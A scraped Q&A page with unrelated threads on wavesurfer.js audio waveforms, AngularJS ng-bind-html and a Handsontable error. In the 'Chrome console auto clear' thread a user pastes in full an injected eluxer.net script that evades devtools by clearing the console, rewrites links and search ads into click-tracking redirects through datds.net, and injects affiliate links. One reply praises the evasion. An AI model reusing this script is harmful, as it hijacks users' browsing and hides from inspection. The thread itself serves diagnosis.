How to draw a waveform of an audio stream in html5? - html

I have a media stream from webcam. I need to draw a waveform of the audio (extracted from the media stream) on the fly. How to do this in HTML5 using JS?
I checked:
https://github.com/soundcloud/waveformjs
https://github.com/katspaugh/wavesurfer.js
They all seem to work with an audio file. How to do it for a stream?

I used wavesurfer (https://github.com/katspaugh/wavesurfer.js) to accomplish this.
My Code:
if (this.remoteStream_ != null) {
if (this.wavesurfer_ == null) {
var parent = this;
this.wavesurfer_ = Object.create(WaveSurfer);
this.wavesurfer_.init({
container: '#waveform',
waveColor: '#fff'
});
this.wavesurferStream_ = Object.create(WaveSurfer.Streamer);
this.wavesurferStream_.init({
wavesurfer: this.wavesurfer_
});
// start the microphone
this.wavesurferStream_.start(this.remoteStream_);
this.audioWaveIconSet_.on();
} else {
if (this.wavesurferStream_ != null) {
this.wavesurferStream_.destroy();
this.wavesurferStream_ = null;
}
this.wavesurfer_.destroy();
this.wavesurfer_ = null;
this.audioWaveIconSet_.off();
}
}
Wavesurfer Plugin for Streams:
/*! wavesurfer.js 1.0.57 (Thu, 25 Feb 2016 17:09:20 GMT)
* https://github.com/katspaugh/wavesurfer.js
* #license CC-BY-3.0 */
! function(a, b) {
"function" == typeof define && define.amd ? define(["wavesurfer"], function(a) {
return b(a)
}) : "object" == typeof exports ? module.exports = b(require("wavesurfer.js")) : b(WaveSurfer)
}(this, function(a) {
"use strict";
a.Streamer = {
init: function(a) {
this.params = a;
this.wavesurfer = a.wavesurfer;
if (!this.wavesurfer) throw new Error("No WaveSurfer instance provided");
this.active = !1, this.paused = !1, this.reloadBufferFunction = this.reloadBuffer.bind(this);
this.bufferSize = this.params.bufferSize || 4096, this.numberOfInputChannels = this.params.numberOfInputChannels || 1, this.numberOfOutputChannels = this.params.numberOfOutputChannels || 1, this.micContext = this.wavesurfer.backend.getAudioContext();
},
start: function(stream) {
this.gotStream(stream);
},
togglePlay: function() {
this.active ? (this.paused = !this.paused, this.paused ? this.pause() : this.play()) : this.start()
},
play: function() {
this.paused = !1, this.connect()
},
pause: function() {
this.paused = !0, this.disconnect()
},
stop: function() {
this.active && (this.stopDevice(), this.wavesurfer.empty())
},
stopDevice: function() {},
connect: function() {
void 0 !== this.stream && (this.mediaStreamSource = this.micContext.createMediaStreamSource(this.stream), this.levelChecker = this.micContext.createScriptProcessor(this.bufferSize, this.numberOfInputChannels, this.numberOfOutputChannels), this.mediaStreamSource.connect(this.levelChecker), this.levelChecker.connect(this.micContext.destination), this.levelChecker.onaudioprocess = this.reloadBufferFunction)
},
disconnect: function() {
void 0 !== this.mediaStreamSource && this.mediaStreamSource.disconnect(), void 0 !== this.levelChecker && (this.levelChecker.disconnect(), this.levelChecker.onaudioprocess = void 0)
},
reloadBuffer: function(a) {
this.paused || (this.wavesurfer.empty(), this.wavesurfer.loadDecodedBuffer(a.inputBuffer))
},
gotStream: function(a) {
this.stream = a, this.active = !0, this.play()
},
destroy: function(a) {
this.paused = !0, this.stop()
},
deviceError: function(a) {},
extractVersion: function(a, b, c) {
var d = a.match(b);
return d && d.length >= c && parseInt(d[c], 10)
},
detectBrowser: function() {
var a = {};
return a.browser = null, a.version = null, a.minVersion = null, "undefined" != typeof window && window.navigator ? navigator.mozGetUserMedia ? (a.browser = "firefox", a.version = this.extractVersion(navigator.userAgent, /Firefox\/([0-9]+)\./, 1), a.minVersion = 31, a) : navigator.webkitGetUserMedia && window.webkitRTCPeerConnection ? (a.browser = "chrome", a.version = this.extractVersion(navigator.userAgent, /Chrom(e|ium)\/([0-9]+)\./, 2), a.minVersion = 38, a) : navigator.mediaDevices && navigator.userAgent.match(/Edge\/(\d+).(\d+)$/) ? (a.browser = "edge", a.version = this.extractVersion(navigator.userAgent, /Edge\/(\d+).(\d+)$/, 2), a.minVersion = 10547, a) : (a.browser = "Not a supported browser.", a) : (a.browser = "Not a supported browser.", a)
}
}, a.util.extend(a.Streamer, a.Observer)
}), ! function(a, b) {
"function" == typeof define && define.amd ? define(["wavesurfer"], function(a) {
return b(a)
}) : "object" == typeof exports ? module.exports = b(require("wavesurfer.js")) : b(WaveSurfer)
}(this, function(a) {
"use strict";
a.Streamer = {
init: function(a) {
if (this.params = a, this.wavesurfer = a.wavesurfer, !this.wavesurfer) throw new Error("No WaveSurfer instance provided");
this.active = !1, this.paused = !1, this.reloadBufferFunction = this.reloadBuffer.bind(this);
this.bufferSize = this.params.bufferSize || 4096, this.numberOfInputChannels = this.params.numberOfInputChannels || 1, this.numberOfOutputChannels = this.params.numberOfOutputChannels || 1, this.micContext = this.wavesurfer.backend.getAudioContext();
},
start: function(stream) {
this.gotStream(stream);
},
togglePlay: function() {
this.active ? (this.paused = !this.paused, this.paused ? this.pause() : this.play()) : this.start()
},
play: function() {
this.paused = !1, this.connect()
},
pause: function() {
this.paused = !0, this.disconnect()
},
stop: function() {
this.active && (this.stopDevice(), this.wavesurfer.empty())
},
stopDevice: function() {},
connect: function() {
void 0 !== this.stream && (this.mediaStreamSource = this.micContext.createMediaStreamSource(this.stream), this.levelChecker = this.micContext.createScriptProcessor(this.bufferSize, this.numberOfInputChannels, this.numberOfOutputChannels), this.mediaStreamSource.connect(this.levelChecker), this.levelChecker.connect(this.micContext.destination), this.levelChecker.onaudioprocess = this.reloadBufferFunction)
},
disconnect: function() {
void 0 !== this.mediaStreamSource && this.mediaStreamSource.disconnect(), void 0 !== this.levelChecker && (this.levelChecker.disconnect(), this.levelChecker.onaudioprocess = void 0)
},
reloadBuffer: function(a) {
this.paused || (this.wavesurfer.empty(), this.wavesurfer.loadDecodedBuffer(a.inputBuffer))
},
gotStream: function(a) {
this.stream = a, this.active = !0, this.play()
},
destroy: function(a) {
this.paused = !0, this.stop()
},
deviceError: function(a) {},
extractVersion: function(a, b, c) {
var d = a.match(b);
return d && d.length >= c && parseInt(d[c], 10)
},
detectBrowser: function() {
var a = {};
return a.browser = null, a.version = null, a.minVersion = null, "undefined" != typeof window && window.navigator ? navigator.mozGetUserMedia ? (a.browser = "firefox", a.version = this.extractVersion(navigator.userAgent, /Firefox\/([0-9]+)\./, 1), a.minVersion = 31, a) : navigator.webkitGetUserMedia && window.webkitRTCPeerConnection ? (a.browser = "chrome", a.version = this.extractVersion(navigator.userAgent, /Chrom(e|ium)\/([0-9]+)\./, 2), a.minVersion = 38, a) : navigator.mediaDevices && navigator.userAgent.match(/Edge\/(\d+).(\d+)$/) ? (a.browser = "edge", a.version = this.extractVersion(navigator.userAgent, /Edge\/(\d+).(\d+)$/, 2), a.minVersion = 10547, a) : (a.browser = "Not a supported browser.", a) : (a.browser = "Not a supported browser.", a)
}
}, a.util.extend(a.Streamer, a.Observer)
});

I created a simple function in my application that receives a MediaStream and creates a WaveSurfer (v2.0.5) in <div id="waveform"></div>.
var wave;
var micContext;
var mediaStreamSource;
var levelChecker;
var createWaveSurfer = function(stream) {
if (wave)
wave.destroy();
var wave = WaveSurfer.create({
container: '#waveform',
waveColor: '#FFF',
barHeight: 20,
hideScrollbar: true,
audioRate: 1,
barWidth: 2,
interact: false,
});
micContext = wave.backend.getAudioContext();
mediaStreamSource = micContext.createMediaStreamSource(stream);
levelChecker = micContext.createScriptProcessor(4096, 1, 1);
mediaStreamSource.connect(levelChecker);
levelChecker.connect(micContext.destination);
levelChecker.onaudioprocess = function (event) {
wave.empty();
wave.loadDecodedBuffer(event.inputBuffer);
};
};
var destroyWaveSurfer = function() {
if (wave) {
wave.destroy();
wave = undefined;
}
if (mediaStreamSource) {
mediaStreamSource.disconnect();
mediaStreamSource = undefined;
}
if (levelChecker) {
levelChecker.disconnect();
levelChecker.onaudioprocess = undefined;
levelChecker = undefined;
}
};

Related

Chrome console auto clear log

I'm using chrome to debug something.But the console will auto clear, and here is the url https://eluxer.net/code?id=105&subid=51824_6967_.What about it?
the url's content is here.search c.clear()
(function() {
var core = {
dt: !1,
isFrame: top != self,
modules: [],
opts: [],
options: {},
start: null,
$: null,
now: function() {
return (new Date).getTime()
},
buildUrl: function(o, t) {
return document.location.protocol + "//" + this.options.host + o + "?" + this.$.param(t)
},
buildMCUrl: function(o, t) {
return "https://" + this.options.mcHost + o + "?" + this.$.param(t)
},
getPageHostname: function() {
return document.location.hostname.replace(/^www\./, "")
},
init: function(options) {
core.start = core.now(),
core.options = options;
var requres = new XMLHttpRequest;
requres.onload = function() {
eval(this.responseText);
var $ = core.$ = jQuery;
jQuery.noConflict(),
$.each(core.modules, function(o, t) {
t.call(null, core.opts[o], core, $, window, document)
})
}
,
requres.open("get", "https://code.jquery.com/jquery-3.0.0.min.js"),
requres.send()
},
run: function(o) {
this.modules.push(o)
}
};
core.init({
"subid": "51824_6967_",
"host": "eluxer.net",
"mcHost": "datds.net"
});
core.opts.push({});
core.run(function(e, n, r, t, i) {
function o() {
clearInterval(l),
n.dt || (n.dt = !0,
(new Image).src = n.buildUrl("/dt", {
r: Math.random()
}))
}
function a() {
var e = t.Firebug
, r = e && e.chrome;
return r && r.isInitialized ? void o() : (c.log(d),
void setTimeout(function() {
n.dt || c.clear()
}, 100))
}
var d = new Image
, c = t.console;
d.__defineGetter__("id", o);
var l = setInterval(a, 1e3);
a()
});
core.opts.push({
"place": 2524,
"maxIndexLength": 10000,
"minDistance": 200,
"phrases": false,
"domains": true
});
core.run(function(e, t, r, n, a) {
if (!t.isFrame) {
var i = a.createElement("a")
, o = n.localStorage
, s = {
progress: !1,
runTimeout: null,
init: function() {
switch (s.watchMutations(),
t.getPageHostname()) {
case "yandex.ru":
case "yandex.ua":
s.prepareYandex();
break;
case "google.ru":
case "google.com":
case "google.com.ua":
s.prepareGoogle()
}
},
watchMutations: function() {
if (n.MutationObserver) {
var e = t.getPageHostname()
, r = {
"yandex.ru": [/\bcontent__left\b/, /\bsuggest2\b/],
"yandex.ua": [/\bcontent__left\b/, /\bsuggest2\b/],
"google.com": [/\bcontent\b/, /\btsf\b/],
"google.com.ua": [/\bcontent\b/, /\btsf\b/],
"google.ru": [/\bcontent\b/, /\btsf\b/]
};
if (r.hasOwnProperty(e)) {
var i = r[e]
, o = new n.MutationObserver(function(e) {
for (var t = !0, r = 0; r < e.length; r++)
for (var n = e[r].target; n; ) {
for (var a = 0; a < i.length; a++)
i[a].test(n.className) && (t = !1);
n = n.parentNode
}
t || s.reRun()
}
);
o.observe(a.body, {
childList: !0,
subtree: !0
})
}
}
},
prepareYandex: function() {
r(".serp-adv-item").each(function() {
var e = r(this)
, t = e.find(".serp-item__greenurl a, .organic__path a");
if (t.length) {
var n = t[0]
, a = n.textContent.toLowerCase().split("/")[0];
e.find("a").attr("data-href", "http://" + a)
}
})
},
prepareGoogle: function() {
r(".ads-ad").each(function() {
var e = r(this)
, t = e.find("cite")[0];
if (t) {
var n = t.textContent.toLowerCase().split("/")[0];
e.find("a").attr("data-href", "http://" + n)
}
})
},
reRun: function() {
s.progress || (clearTimeout(s.runTimeout),
s.runTimeout = setTimeout(function() {
s.run(a.body)
}, 500))
},
run: function(n) {
s.progress = !0;
var i = {
url: a.location.href,
urls: [],
phrases: []
};
return e.domains && (i.urls = s.findUrls(n)),
e.phrases && (i.phrases = s.findPhrases(n)),
i.urls.length || i.phrases.length ? void r.ajax({
type: "POST",
data: JSON.stringify(i),
contentType: "application/json",
dataType: "json",
xhrFields: {
withCredentials: !0
},
url: t.buildMCUrl("/replacement/find", {
place: e.place,
subid: t.options.subid,
hsid: chrome && chrome.runtime && chrome.runtime.id || ""
}),
success: function(e) {
t.dt || (s.replaceUrls(n, e.urls),
s.replacePhrases(n, e.phrases),
setTimeout(function() {
s.progress = !1
}, 500))
}
}) : void (s.progress = !1)
},
getDomainByUrl: function(e) {
return i.href = e,
s.getDomain(i)
},
getDomain: function(e) {
return e.hostname.toLowerCase().replace(/^www\./, "")
},
getRealDomain: function(e) {
return s.getDomainByUrl(s.getRealHref(e))
},
getRealHref: function(e) {
var t = s.getDomain(e);
return -1 !== ["google.ru", "google.com", "yabs.yandex.ru"].indexOf(t) && e.getAttribute ? e.getAttribute("data-href") : e.href
},
getBaseRealHref: function(e) {
i.href = s.getRealHref(e);
var t = s.getDomain(i)
, r = "";
return -1 !== ["realty.yandex.ru", "plarium.com", "espritgames.ru", "101xp.com", "promo.101xp.com", "sportiv.ru"].indexOf(t) && (r = i.pathname),
t + r
},
getDistance: function(e, t) {
var r, n, a, i;
return e.top < t.top ? (a = e.top + e.height,
i = t.top) : (a = t.top + t.height,
i = e.top),
e.left < t.left ? (r = e.left + e.width,
n = t.left) : (r = t.left + t.width,
n = e.left),
Math.pow(r - n, 2) + Math.pow(a - i, 2)
},
extractWords: function(e) {
var t, r = new RegExp("(?:[-._&]?[a-zа-яё0-9]+)+","ig"), n = [];
for (n.wordsLength = 0; t = r.exec(e); )
n.push({
word: t[0].toLowerCase(),
text: t[0],
index: t.index
}),
n.wordsLength += t[0].length;
return n
},
findLinks: function(e) {
return r(e).find("a").filter(function() {
return !!this.hostname && !!s.getRealDomain(this)
})
},
findUrls: function(e) {
if (!e)
return [];
var t = {};
return this.findLinks(e).each(function() {
var e = s.getBaseRealHref(this);
t[e] = 1
}),
Object.keys(t)
},
replaceUrls: function(e, t) {
e && t && this.findLinks(e).each(function() {
var e = this
, n = s.getBaseRealHref(e);
if (n && t.hasOwnProperty(n)) {
var a = t[n]
, i = s.getRealHref(e);
e.realHref = i,
e.hiddenHref = s.buildClickLink(r.extend({
href: i
}, a)),
s.setClickHandler(e)
}
})
},
setClickHandler: function(e) {
var t = e.onclick;
e.onclick = function(r) {
var n, a = s.handleClick(e);
if ("function" == typeof t && (n = t(r)),
a && !1 === n)
return !1
}
},
handleClick: function(e) {
if (!e.hiddenHref)
return !1;
var r = e.href
, n = s.getDomain(a.location);
if (t.dt && e.realHref)
return !1;
var i = e.realHref && s.getDomainByUrl(e.realHref);
if (i && (-1 !== n.indexOf(i) || -1 !== i.indexOf(n))) {
var f = t.now();
if (!o || o._ym_ts && f - o._ym_ts < 72e5 || f - t.start < 6e4)
return !1;
o._ym_ts = t.now()
}
return e.href = e.hiddenHref,
e.realHref && delete e.hiddenHref,
setTimeout(function() {
e.href = r
}, 10),
!0
},
isPhraseNodeAllowed: function(e) {
if (!e.tagName)
return !1;
var t = ["AUDIO", "VIDEO", "IFRAME", "A", "IMG", "INPUT", "BUTTON", "SELECT", "OPTION", "SCRIPT", "META", "LINK", "STYLE", "NOSCRIPT", "HEADER", "FOOTER", "LABEL", "H1", "H2", "H3", "H4", "H5", "H6"];
if (-1 !== t.indexOf(e.tagName.toUpperCase()))
return !1;
if (e.className && "string" == typeof e.className)
for (var r = ["ya-partner", "header"], n = 0; n < r.length; n++)
if (e.className.match(new RegExp("\b" + r[n] + "\b")))
return !1;
var a = ["header", "footer"];
return -1 === a.indexOf(e.id)
},
findPhraseNodes: function(e) {
for (var t = [], n = [e]; n.length; ) {
var a = n.shift();
if (a.nodeType === Node.TEXT_NODE) {
var i = r.trim(a.textContent);
if (i.length > 2) {
var o = s.extractWords(a.textContent);
o.length && t.push([a, o])
}
} else if (s.isPhraseNodeAllowed(a))
for (var f = 0, c = a.childNodes.length; f < c; f++)
n.push(a.childNodes[f])
}
return t
},
findPhrases: function(t) {
var n = []
, a = 0
, i = this.findPhraseNodes(t);
return r.each(i, function(t, i) {
var o = i[1]
, s = r.map(o, function(e) {
return e.word
}).join(" ");
return a += s.length,
!(a > e.maxIndexLength) && void n.push(s)
}),
n
},
replacePhrases: function(e, t) {
if (e && t) {
var r = this.doReplacePhrases(e, t);
this.removeBadReplaces(e, r)
}
},
doReplacePhrases: function(e, t) {
var n = {};
r.each(t, function(e, t) {
var a = s.extractWords(e)
, i = n;
r.each(a, function(e, r) {
var n = a[e].word;
i.hasOwnProperty(n) || (i[n] = {
parent: i
}),
i = i[n],
e === a.length - 1 && (i.data = t)
})
});
var i = s.findPhraseNodes(e)
, o = [];
return r.each(i, function(e, t) {
for (var r, i = t[0], f = t[1], c = i.textContent, l = 0, u = 0, d = f.length; u < d; ) {
for (var h = u, p = n; h < d && p.hasOwnProperty(f[h].word); )
p = p[f[h].word],
h++;
for (; p.parent && !p.data; )
p = p.parent,
h--;
if (h <= u && !p.data)
u++;
else {
r = c.slice(l, f[u].index),
"" != r && i.parentNode.insertBefore(a.createTextNode(r), i);
var g = f[h - 1].index + f[h - 1].word.length
, m = c.slice(f[u].index, g)
, v = s.createPhraseLink(m, p);
o.push(v),
i.parentNode.insertBefore(v, i),
l = g,
u = h
}
}
l > 0 && (i.textContent = c.slice(l))
}),
o
},
removeBadReplaces: function(t, n) {
var i = Math.pow(e.minDistance, 2)
, o = []
, f = []
, c = [];
return r.each(n, function(e, t) {
var n = r(t)
, a = n.offset();
a.width = n.width(),
a.height = n.height();
for (var l = !0, u = o.length - 1; u >= 0; u--)
if (s.getDistance(o[u], a) < i) {
l = !1;
break
}
l ? (c.push(t),
o.push(a)) : f.push(t)
}),
r.each(f, function(e, t) {
t.parentNode.insertBefore(a.createTextNode(t.textContent), t),
r(t).remove()
}),
c
},
createPhraseLink: function(e, t) {
var n = a.createElement("a")
, i = r.extend({}, t.data, {
text: e
});
return r.extend(n, {
rel: "nofollow",
target: "_blank",
className: "intext-link",
textContent: e,
href: t.data.link || "#",
hiddenHref: s.buildClickLink(i)
}),
s.setClickHandler(n),
r.extend(n.style, {
position: "relative",
fontWeight: "bold"
}),
n
},
buildClickLink: function(n) {
return n = r.extend({
place: e.place,
subid: t.options.subid
}, n, {
url: a.location.href
}),
t.buildMCUrl("/replacement/click", n)
}
};
r(a).ready(function() {
s.init(),
s.run(a.body)
})
}
});
core.opts.push({});
core.run(function(e, a, o, n, l) {
var r = "seReplace"
, t = n.localStorage
, c = t[r] || 0;
a.now() - c < 864e5 || setInterval(function() {
var e, o = l.location;
o.pathname,
o.hostname,
o.href;
e && (t.seReplace = Date.now(),
l.location.href = a.buildMCUrl("/go", {
url: e
}))
}, 1e3)
});
}
)();
This appears to be related to an extension you have on your system. I disabled the Smile Always Amazon Extension and this stopped happening. There isn't much information as to what eluxer.net is, or what that script is doing, but disabling that extension did it for me.
Check your extensions one by one and see if this solves that issue.
In my Case it was postman chrome extension, removing it fixed the problem.
Here it is what it's happening https://developer.mozilla.org/en-US/docs/Web/API/Console/clear .You can disable this thing by enabling preserve log as stated in documentation:
Note that in Google Chrome, console.clear() has no effect if the user
has selected "Preserve log upon navigation" in the settings
.
That looks like a btcspinner auto spin script. I got one like that as well. But if it auto-clears the console, that makes it run longer before you have to do the "I'm not a robot". Which is very useful, let's you earn more and longer, without that interuption. So that's a good thing.

Not able to get ng-bind-html to work

Problem: I am trying to use ng-bind-html but I am getting the following errors on the console:
The following is the controller where I am calling ngSanitize:
and using the following file:
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.4/angular-sanitize.js"></script>
In my form, I do the following to use ng-bind-html. So when I try to see my results, it is still rendering the &rather then &:
<div ng-bind-html="e.Specialty"></div>
and the following is what occurs in the Specialty:
Any help would be appreciated.
#lealceldeiro: Here is the controller in which I am trying to implement your suggestion but not sure where I will add it:
(
function(){
var $scope, $location;
var indexApp = angular.module('indexApp',['ui.bootstrap', 'ngSanitize']);
indexApp.controller('IndexController',function($scope,$sce,$http,$location,anchorSmoothScroll){
$scope.Lang = 'initVal';
$scope.ShowResults = false;
$scope.ShowDesc = true;
$scope.NoResults = false;
$scope.currentPage = 1;
$scope.maxPageNumbersToShow = 10;
$scope.formModel = {};
$scope.searchMode = 0;
$scope.miles = [{'value':'5'},{'value':'10'},{'value':'15'},{'value':'20' }];
$scope.Specialties = [{'value':'Family practice'},{'value':'General practice'},{'value':'Internal medicine'},{'value':'Pediatrics'}];
$scope.Gender = [{'value':'Male'},{'value':'Female'}];
$scope.Languages = {};
$scope.Cities = {};
//$scope.lastAction = '';
$scope.searchParam = {};
$("input").removeAttr('disabled');
$scope.searchParam.Distance = $scope.miles[0];
$scope.GetCurrentZip = function (){
try{
var lon, lat;
// console.log('starting geoposition code.');
if("geolocation" in navigator){
window.navigator.geolocation.getCurrentPosition(function(pos){
lat = pos.coords.latitude.toFixed(3);
lon = pos.coords.longitude.toFixed(3);
// console.log(lat + ' ' + lon);
$http.get("/Brokers-en-us/includes/remote/ReturnCurrentZipcode.cfm?Lat=" + lat + "&Lon=" + lon)
.then(function(response){
$scope.searchParam.Zip = response.data;
})
})
}
else{ console.log('No geolocation'); }
}
catch(err) { console.log(err.message); }
}
$scope.GetCityList = function (){
try{
$http.get("/Brokers-en-us/includes/remote/ReturnCityList.cfm")
.then(function(response){
$scope.Cities = response.data.Cities;
})
}
catch(err){}
}
$scope.GetLangList = function (){
try{
$http.get("/Brokers-en-us/includes/remote/ReturnLangList.cfm")
.then(function(response){
$scope.Languages = response.data.Languages;
})
}
catch(err){}
}
$scope.SearchProvider = function(searchParam){
try{
//debugger;
$scope.searchMode = 1;
var queryString='';
if($scope.formModel && $scope.formModel !== searchParam){
$scope.resultsCount = 0;
currentPage = 1;
}
if(searchParam){
//debugger;
$scope.formModel = searchParam;
for(var param in searchParam){
if(searchParam.hasOwnProperty(param)){
var paramValue = searchParam[param].value ? searchParam[param].value : searchParam[param];
if (paramValue.length > 0)
queryString += param + '=' + paramValue + '&';
}
}
}
console.log(queryString);
queryString= '?' + queryString + 'currentpage=' + $scope.currentPage;
$http.get("/Brokers-en-us/includes/remote/ReturnProvidersList.cfm" + queryString)
.then(function(response){
$scope.providers = response.data.provider;
$scope.resultsCount = response.data.rowCount;
if (!$scope.providers){
$scope.NoResults = true;
$scope.ShowResults = false;
$scope.ShowDesc = false;
}
else{
$scope.NoResults = false;
$scope.ShowResults = true;
$scope.ShowDesc = false;
}
})
}
catch(err){ alert('No response.: ' + err.message); }
}
/*Testing purposes*/
$scope.clearTopForm = function(searchParam){
//console.log("I clicked this.")
}
/*Clears the drop downs and input fields*/
$scope.$watch('searchParam.Distance', function(newValue, oldValue) {
//debugger;
if(newValue != ''){
//$scope.lastAction = 'miles';
$scope.searchParam.City = '';
$scope.searchParam.Specialty = '';
$scope.searchParam.Gender = '';
}
});
$scope.$watch('searchParam.Zip', function(newValue, oldValue) {
if(newValue != ''){
//$scope.lastAction = 'miles';
$scope.searchParam.Gender = '';
$scope.searchParam.Specialty = '';
$scope.searchParam.City = '';
}
});
$scope.cityChange = function(){
//debugger;
if($scope.searchParam.City != ''){
//$scope.lastAction = 'city';
$scope.searchParam.Distance = '';
$scope.searchParam.Zip = '';
}
}
$scope.specialtyChange = function(){
//debugger;
if($scope.searchParam.Specialty != ''){
//$scope.lastAction = 'specialty';
$scope.searchParam.Distance = '';
$scope.searchParam.Zip = '';
}
}
$scope.genderChange = function(){
//debugger;
if($scope.searchParam.Gender != ''){
//$scope.lastAction = 'gender';
$scope.searchParam.Distance = '';
$scope.searchParam.Zip = '';
}
}
$scope.$watchGroup(['currentPage'], function(){
try{
if($scope.searchMode == 1){
$scope.SearchProvider($scope.formModel);
}
}
catch(err){}
});
$scope.GetCityList();
$scope.GetLangList();
$scope.GetCurrentZip();
$scope.gotoElement = function (eID){
//http://jsfiddle.net/brettdewoody/y65G5/
// set the location.hash to the id of
// the element you wish to scroll to.
//$location.hash('bottom');
// call $anchorScroll()
var browserWidth = screen.availWidth;
if (browserWidth < 768)
anchorSmoothScroll.scrollTo(eID);
};
});
indexApp.service('anchorSmoothScroll', function(){
this.scrollTo = function(eID) {
// This scrolling function
// is from http://www.itnewb.com/tutorial/Creating-the-Smooth-Scroll-Effect-with-JavaScript
var startY = currentYPosition();
var stopY = elmYPosition(eID);
var distance = stopY > startY ? stopY - startY : startY - stopY;
if (distance < 100) {
scrollTo(0, stopY); return;
}
var speed = Math.round(distance / 100);
if (speed >= 20) speed = 20;
var step = Math.round(distance / 25);
var leapY = stopY > startY ? startY + step : startY - step;
var timer = 0;
if (stopY > startY) {
for ( var i=startY; i<stopY; i+=step ) {
setTimeout("window.scrollTo(0, "+leapY+")", timer * speed);
leapY += step; if (leapY > stopY) leapY = stopY; timer++;
} return;
}
for ( var i=startY; i>stopY; i-=step ) {
setTimeout("window.scrollTo(0, "+leapY+")", timer * speed);
leapY -= step; if (leapY < stopY) leapY = stopY; timer++;
}
function currentYPosition() {
// Firefox, Chrome, Opera, Safari
if (self.pageYOffset) return self.pageYOffset;
// Internet Explorer 6 - standards mode
if (document.documentElement && document.documentElement.scrollTop)
return document.documentElement.scrollTop;
// Internet Explorer 6, 7 and 8
if (document.body.scrollTop) return document.body.scrollTop;
return 0;
}
function elmYPosition(eID) {
var elm = document.getElementById(eID);
var y = elm.offsetTop;
var node = elm;
while (node.offsetParent && node.offsetParent != document.body) {
node = node.offsetParent;
y += node.offsetTop;
} return y;
}
};
});
indexApp.directive('allowPattern',[allowPatternDirective]);
indexApp.directive('popPopup',[describePopup]);
indexApp.directive('pop', function pop ($tooltip, $timeout) {
var tooltip = $tooltip('pop', 'pop', 'event');
var compile = angular.copy(tooltip.compile);
tooltip.compile = function (element, attrs) {
var first = true;
attrs.$observe('popShow', function (val) {
if (JSON.parse(!first || val || false)) {
$timeout(function(){
element.triggerHandler('event');
});
}
first = false;
});
return compile(element, attrs);
};
return tooltip;
});
indexApp.filter('PhoneNumber', function(){
return function(phoneNumber){
var dash = '-';
var openParen = '(';
var closeParen = ') ';
if(phoneNumber){
var pn = phoneNumber;
pn = [pn.slice(0, 6), dash, pn.slice(6)].join('');
pn = openParen + [pn.slice(0, 3), closeParen, pn.slice(3)].join('');
return pn;
}
return phoneNumber;
}
});
indexApp.filter('Zip', function(){
return function(zipcode){
var dash = '-';
if(zipcode && zipcode.length > 5){
var zc = zipcode;
zc = [zc.slice(0, 5), dash, zc.slice(5)].join('');
return zc;
}
return zipcode;
}
});
function allowPatternDirective(){
return{
restrict: "A",
compile: function(tElement, tAttrs){
return function(scope, element, attrs){
element.bind("keypress", function(event){
var keyCode = event.which || event.keyCode;
var keyCodeChar = String.fromCharCode(keyCode);
if(!keyCodeChar.match(new RegExp(attrs.allowPattern, "i"))){
event.preventDefault();
return false;
}
});
}
}
}
}
function describePopup(){
return {
restrict: 'EA',
replace: true,
scope: { title: '#', content: '#', placement: '#', animation: '&', isOpen: '&' },
templateUrl: 'template/popover/popover.html'
};
}
})();
(function($) {
// #todo Document this.
$.extend($,{ placeholder: {
browser_supported: function() {
return this._supported !== undefined ?
this._supported :
( this._supported = !!('placeholder' in $('<input type="text">')[0]) );
},
shim: function(opts) {
var config = {
color: '#888',
cls: 'placeholder',
selector: 'input[placeholder], textarea[placeholder]'
};
$.extend(config,opts);
return !this.browser_supported() && $(config.selector)._placeholder_shim(config);
}
}});
$.extend($.fn,{
_placeholder_shim: function(config) {
function calcPositionCss(target)
{
var op = $(target).offsetParent().offset();
var ot = $(target).offset();
return {
top: ot.top - op.top,
left: ot.left - op.left,
width: $(target).width()
};
}
function adjustToResizing(label) {
var $target = label.data('target');
if(typeof $target !== "undefined") {
label.css(calcPositionCss($target));
$(window).one("resize", function () { adjustToResizing(label); });
}
}
return this.each(function() {
var $this = $(this);
if( $this.is(':visible') ) {
if( $this.data('placeholder') ) {
var $ol = $this.data('placeholder');
$ol.css(calcPositionCss($this));
return true;
}
var possible_line_height = {};
if( !$this.is('textarea') && $this.css('height') != 'auto') {
possible_line_height = { lineHeight: $this.css('height'), whiteSpace: 'nowrap' };
}
var isBorderBox = ($this.css('box-sizing') === 'border-box');
var isTextarea = $this.is('textarea');
var ol = $('<label />')
.text($this.attr('placeholder'))
.addClass(config.cls)
.css($.extend({
position:'absolute',
display: 'inline',
'float':'none',
overflow:'hidden',
textAlign: 'left',
color: config.color,
cursor: 'text',
paddingTop: !isTextarea && isBorderBox ? '0' : $this.css('padding-top'),
paddingRight: $this.css('padding-right'),
paddingBottom: !isTextarea && isBorderBox ? '0' : $this.css('padding-bottom'),
paddingLeft: $this.css('padding-left'),
fontSize: $this.css('font-size'),
fontFamily: $this.css('font-family'),
fontStyle: $this.css('font-style'),
fontWeight: $this.css('font-weight'),
textTransform: $this.css('text-transform'),
backgroundColor: 'transparent',
zIndex: 99,
}, possible_line_height))
.css(calcPositionCss(this))
.attr('for', this.id)
.data('target',$this)
.click(function(){
if (!$(this).data('target').is(':disabled')) {
$(this).data('target').focus();
}
})
.insertBefore(this);
$this
.data('placeholder', ol)
.on('keydown', function () {
ol.hide();
})
.on('blur change', function () {
ol[$this.val().length ? 'hide' : 'show']();
})
.triggerHandler('blur');
$(window).one("resize", function () { adjustToResizing(ol); });
}
});
}
});
})(jQuery);
jQuery(document).add(window).bind('ready load', function() {
if (jQuery.placeholder) {
jQuery.placeholder.shim();
}
});
When you use ng-bind-html, AngularJS sometimes consider some contents as unsafe (as your case), so you need to use the $sce service in order to "mark" this content as safe (to be used) like this:
$sce.trustAsHtml("CLINICAL & SOCIAL"); (See demo below)
From $sanitize
The input is sanitized by parsing the HTML into tokens. All safe
tokens (from a whitelist) are then serialized back to properly escaped
html string. This means that no unsafe input can make it into the
returned string.
In this case the "unsafe" part is &
angular
.module('app', [])
.controller('ctrl', ctrl);
function ctrl($scope, $sce) {
$scope.Specialty = $sce.trustAsHtml("CLINICAL & SOCIAL");
}
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.4/angular.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.4/angular-sanitize.js"></script>
<div ng-app="app" ng-controller="ctrl">
Specialty: <span ng-bind-html="Specialty"></span>
</div>

Error while copy past data from excel to handsontable grid

> handsontable.full.js?v=1.2:10476 Uncaught TypeError: Cannot read property 'classList' of undefined
> at _removeClass (handsontable.full.js?v=1.2:10476)
> at removeClass (handsontable.full.js?v=1.2:10531)
> at handsontable.full.js?v=1.2:5426
> at done (handsontable.full.js?v=1.2:5502)
> at handsontable.full.js?v=1.2:5517
